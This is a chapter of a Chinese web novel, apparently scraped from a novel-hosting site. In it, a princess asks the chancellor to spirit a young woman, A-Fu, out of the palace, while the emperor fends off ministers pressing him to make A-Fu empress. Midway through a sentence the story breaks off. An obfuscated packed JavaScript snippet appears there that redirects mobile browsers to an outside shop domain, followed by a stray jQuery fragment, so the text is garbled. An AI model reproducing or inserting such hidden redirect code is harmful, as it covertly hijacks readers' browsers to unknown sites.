文趣网 > 其他小说 > 人皇陛下的贤君指南 > 176. 第一百七十六章:雪埋疏影五羊君……
    自从顾渊南下回来,阿福就搬离了天辰殿,住在了苍元夕的梅舒宫里。

    其实阿福是想要离开皇宫的,她只是一介孤女,留在宫中,无名无分,更何况,这里并不是她的家。如今的苍南国太平了,她也想回到青哥和婆母身边,哪怕那里只有两座冢。

    她向顾渊辞行,被顾渊挽留,对于顾渊来说,他与阿福的感情还是很深,并不是男女之爱,而是兄妹之情。而且他曾经也受过阿福和林猎户照顾,他自认为自己有义务照拂已是孤女的阿福。

    他猜测阿福可能不习惯与他同住一座宫殿,之前是因为阿福身体不好,住在天辰殿,方便周寻怀医治。后来他出征了,天辰殿无主,索性就让她继续住在天辰殿。

    顾渊回来后,本想给阿福安排新的宫殿,又怕她更加不自在,就询问了苍元夕,想让她帮忙照顾一下阿福。

    那时候苍元夕才回到建康,并不知道阿福的事,她想着多个人也就多个伴,便欣然同意。过后的日子里,她与阿福闲聊,才知道阿福以前的事,也是心疼这个姑娘。

    阿福没有将自己是不死国后裔和体内有沉睡的女丑尸之事告诉苍元夕,只与她说着幼时父亲的照顾,虽然她是林猎户捡来的孩子,但是林猎户一直待她如亲子。再后来,她遇见了青哥,那个心里只有她的小郎君,日子并不长,却是幸福且温馨。

    她还告诉苍元夕,是顾渊在帽子林救了她,她很感激顾渊。过了一会儿,她又玩笑着说,她第一次见到陛下时,陛下还是乞儿哥哥,她让陛下进屋,分给了陛下半张烤饼,她给陛下吃饼,陛下又救过她,他们就是礼尚往来的朋友了。

    话刚说完,阿福就自己笑了起来。

    很纯洁的爱,让苍元夕心里颇有感触,也心生羡慕,那是她无法得到的感情。

    不管是与林猎户的亲情,还是与青哥的爱情,甚至,她与陛下之间的友情。

    苍元夕看出来了,阿福与陛下之间的感情也很纯粹,就是友人,或者,兄妹。

    所以当苍元夕听见有传言在说顾渊心悦阿福,想纳她为妃时,一向温婉的她,难得发了火。

    “你们在胡说什么?”

    梅舒宫宫外,苍元夕大声呵斥着扫雪的小宫女。

    那些小宫女闻声,立马跪了下来,口内求饶道:“公主饶命,公主饶命。”

    “今日就算了,如果下次……”苍元夕话未说完,就看见不远处站着的徐君延,不经意间,两人四目相对,让苍元夕一时间有些呆怔,随后她回过神来,垂下了眼眸,语气也不复刚才那般带着怒意,“以后别再乱说了。”

    小宫女齐齐叩首谢恩。

    徐君延站在梅舒宫外的那株百年的老梅树下,他知道苍元夕不愿见自己,于是他每次来宫中,就站在这株老梅树下,望着梅舒宫。

    他不会去打扰什么,就是静静地看着,有时候能见到苍元夕,他就心满意足,如果没有见到她,也只是有些落寞的离开。

    徐君延见苍元夕看见自己,他忙要转身离开。他甫一转身,听见苍元夕的喊道:“丞相大人。”

    这个称呼让他心中五味杂陈,他没有表露出来,而是回过身,恭敬地冲着苍元夕行礼道:“臣,参见公主殿下。”

    本是相爱的两人,疏远又陌生。

    一个是尊贵典雅的公主殿下。

    一个是佩紫怀黄的丞相大人。

    曾经的灿烂不在,那份爱意永藏心底,梅花年年绽,故人终陌路。

    ……

    梅舒宫外有一片种着荇菜的小湖,南北有小河流淌,连接着御花园东苑的那片荷花池。在荇菜小湖的湖中心修有一座小筑,名曰菱香小筑。

    小筑曲桥环绕,以柱为体,四面都是万字纹的槅扇,全打开后就像一座亭子,只不过平常只开三面的槅扇。

    紧闭的那面槅扇前有一张朱红案几,案几上面摆放着狻猊出香炉,里面燃着瑞脑香,炉边有摆放的整香。在旁侧的后方还挂着一些干花,前面隔了一架绘着春兰秋菊夏荷冬梅的四扇屏风,屏风前有一张黄花梨木的八仙桌和四个凳子。

    如今天气冷了,凳子上都铺着厚厚的垫子,桌子旁也烧着暖炉。

    苍元夕请徐君延来到了菱香小筑,就让跟着自己的丫鬟在外面候着。

    徐君延知道苍元夕突然叫自己,多半是有事询问,而且他也猜到了一些,应该是与这几日宫中的传言有关。

    他没有开口,他在等着苍元夕先开口。徐君延在想,苍元夕现在有事询问他,会不会不再喊他丞相大人,而是像以前那样,唤他一声五羊哥哥。

    苍元夕手中捧着一个妆花缎包着的手炉,缓步来到小筑边上。她牵着裙摆,半蹲了下来,低着头看着那湖水,还有水中游动的小鱼儿。

    “再下几日的雪,这湖就要被冻上了。”苍元夕见湖中有一尾金色的鲤鱼游得正欢,“听说蜀中有些地方,冬天也不会下雪,夏天还很热,不过那里的泡萝卜很好吃。”

    苍元夕的话有些莫名其妙,让徐君延感到深深的不安。

    “公主……”

    “丞相大人,您应该也察觉到了吧。”苍元夕站起来身来,回过头看着徐君延,语气十分平静地说道,“不太平了。”

    “不过那些老臣在找事,公主不必忧心。”徐君延宽慰道。

    “可他们想逼着陛下娶阿福,那样会置阿福于死地。”苍元夕那双和顾渊几乎一样的眼睛半眯着,她盯着徐君延,一字一顿地问道,“你知道阿福的身份吧?”

    徐君延明知故意道:“公主是知道了什么吗?”

    “我在宫中听到的传言,不只是说陛下心悦阿福,还有……”苍元夕顿了顿,旋即抬眸,漆黑的眼眸犹如黑夜,“她是不死国的后裔。”

    这个传言徐君延也听到了,他不知道是哪个老狐狸放出来的,他也没打算瞒着苍元夕。

    徐君延轻轻点了点头。

    “果然如此。”苍元夕垂下眼帘,自言自语地说道,“果然如此啊。”

    “公主?”

    “她不该被牵连。”

    “臣知道,但臣无能为力。”那些老东西们想一出是一出,徐君延根本阻止不了。

    苍元夕也知道徐君延的为难,但她不想那个可怜的姑娘最后成为他们皇家的牺牲。

    两人都沉默着,菱香小筑只听见落雪的声音。半晌,苍元夕道:“那请五羊哥哥带阿福离开这里。”

    徐君延睁大了眼睛,他是想听见苍元夕再唤自己为“五羊哥哥”,可是听见后,他心里只觉得自己的心好像被什么东西勒住,让他喘不上气。

    “那你呢?”徐君延问道。

    “自然是留在这里。”

    “你认为我会不顾你而离开?!”徐君延陡然激动了起来,他来到了苍元夕的面前,双手握紧她的手臂,冲着她吼道,“你明知道不太平了,我怎么可能留你一人在这里!”

    苍元夕的语气依旧平静,她开口道:“我姓苍,我是苍南国的公主。”说这话时,苍元夕抬起眼眸,望向徐君延,“以前是五羊哥哥为我选好了路,现在,我想自己走下去。”

    “你……”徐君延松开了手,他退了几步,眸中微微泛红,却又大笑了起来。过了好一会儿,他红

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17843644|208415||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    着眼道,“臣不会在插手公主的事了,也请公主别管臣要做什么。臣可以带阿福姑娘离开这里,但是要等臣把手头上的事处理完了,臣才能安心离开。”

    在徐君延的一声“公主”,一声“臣”中,苍元夕脸上表情没有太多变化,只有眼中痛苦难掩。她闭了闭眼,再睁开时,她郑重朝着徐君延行礼,而后道:“本宫谢过丞相大人。”

    ……

    阿福是不死国后裔之事,不消几日,就传遍了整个建康,那些老臣们可高兴了,天天上奏要顾渊立阿福为后。

    顾渊明确拒绝了几次,但那些老臣就像听不见似的,依旧每日上奏要求顾渊立阿福为后。顾渊不愿意连累阿福,而且他对阿福真的没有男女之情,更何况他知道阿福心中已经有了青哥。

    还有最重要的一点,现在的姜姒就是个疯子,如果他要是立了阿福为后,姜姒能活剥了她。

    绝对。

    书房里,顾渊愤怒地将那些上奏立阿福为后的折子全部都拂到了地上,随后,他大笑起来。

    姜姒站在书房的门口,看着大笑不止的顾渊,慢慢走进了书房。今天又下了雪,他还是穿的单薄,一件金色的广袖长袍,赤着脚,脸上带着笑,来到了顾渊的身边。

    他没有看顾渊拂在地上的折子,因为他知道那些折子上写的是什么,他也知道顾渊生气的原因是他想保护那个不死国的小姑娘。

    “你放心,朕不会立后。”顾渊停止了大笑,他靠在龙椅背上,目光和语气都很冷,比这屋外的雪还冷。

    “我相信陛下。”姜姒坐在顾渊前面的龙案上,那赤/裸的脚踩在顾渊的腿上。他笑得一脸妩媚,秋波流转的眸子直勾勾地看着顾渊,那眼神仿佛能拉丝一般,语气也是这般暧昧,然而说出来的话,却如一把利刃,“如果陛下真与她有了什么,我不忍心伤害陛下,但是我不保证,我不会伤害她。”

    “朕明白。”顾渊脸色有些不好。

    姜姒将脚慢慢抬上,最后抵在了顾渊的喉头处,一只手玩着自己的头发,另一只手撑在龙案上,他笑得依旧妩媚。

    “陛下明白就最好。”

    ……

    立后之事,顾渊拒绝多次,可那些老臣都是选择性失聪,依旧每日我行我素的上奏。几次早朝顾渊都气的想将他们都杀了算了,终究他还是有理智在。

    白天顾渊要应付那些吃饱了撑的老臣,晚上还要不断满足姜姒的需求索取,并且不断的告诉他,自己只当阿福是妹妹。

    顾渊知道姜姒没信,因为姜姒就是一个疯子,疯子自然不会相信任何人,包括他自己。顾渊心中越发郁结,可是这条路已经没有了光亮,他就像行尸走肉。

    或许是他在早朝上听见了太多阿福的名字了,这日下朝,他竟然鬼使神差的来到了梅舒宫外。

    这几日下了好几场大雪,梅舒宫的梅花开得愈发艳丽,特别是梅舒宫大门外的那株老梅树。

    梅舒宫的小宫女们看见顾渊,都纷纷跪下行礼。

    “公主呢?”顾渊问道。

    “公主今日一早出了宫,去了玄武大街的西王母庙祈福。”小宫女战战兢兢地回答道。

    顾渊这才想起已是年底了,还有小半月就是小年了,玄武大街又要热闹起来。

    “阿福也去了?”顾渊又问道。

    “阿福姑娘在西院的小厨房里熬米粥、做烤饼。”

    顾渊本是随口一问,可是听见小宫女说阿福在熬粥烤饼时,他想起了以前。那时候他不过十一岁,他在南朝流浪乞讨了三年,小小的阿福推开的那扇窗户,是照亮他黑暗中的一束光。